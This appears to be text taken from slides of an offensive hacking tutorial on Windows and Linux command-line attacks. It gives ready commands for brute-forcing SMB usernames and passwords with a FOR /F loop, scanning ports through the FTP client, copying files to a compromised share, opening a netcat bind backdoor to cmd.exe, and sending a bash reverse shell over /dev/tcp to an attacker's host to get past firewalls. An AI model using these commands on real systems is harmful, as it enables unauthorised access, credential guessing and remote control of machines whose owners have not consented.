  • 16. Username & Password Guessing with FOR /F• Guees each password for each username • We need 2 file username & password list • 2 variable %u and %p for username & password • Use net use for try SMB session • Drop SMB if success Login C:>for /F %u in (user.txt) do @(for /F %p in (password.txt) do @echo %u : %p & @net use [targetIP] %p /u:%u 2>nul && echo %u : %p >> done.txt && net use [targetIP] /del)
  • 17.
  • 18. Windows Port Scanner With FTP Client • Windows FTP Client C:> ftp [IpAddress] • Using –s option FTP for ready from file : c:>ftp –s:[filename] • We’ll write a loop that generate FTP command file and invoke FTP to run from that command • Store the result for/L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open [IPAddress] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt
  • 19.
  • 20. Windows Command Line File Transfer • Use Windows File & Printer Sharing • Redirect to Share folder : • Login to SMB Session take from Password Guessing C:>type [filename] > [IPtarget][share][filename] C:> net use [IPTarget] [password] /u:[username]
  • 21.
  • 22. Netcat • TCP/UDP Network Widget • Standard In and Send It across the network • Receives data from network and put it to standard out NETCAT Std In Std Out Send Packets Receives Packets Std Error SYSTEM NETWORK
  • 23. Netcat Functions • Send File • Port Scan • Backdoor Shell Access • Connect to Open Port • Simple Chats • Replay Data in TCP/UDP Packets • Etc …
  • 24. Netcat : Windows Backdoor nc -l -p [port] -e “cmd.exe”
  • 25. Linux Command Line Hacking• /dev/tcp/ • Open Connection to Other Machines • Like Connect Back Shell • /dev/tcp/[IPAddress]/[Port]
  • 26. Backdooring via /dev/tcp /bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1 Firewall Deny Incoming /bin/bash -i > /dev/tcp/[ip]/[port] 0<&1 2>&1nc -l -p 80 Type Command Command Execute
  • 27.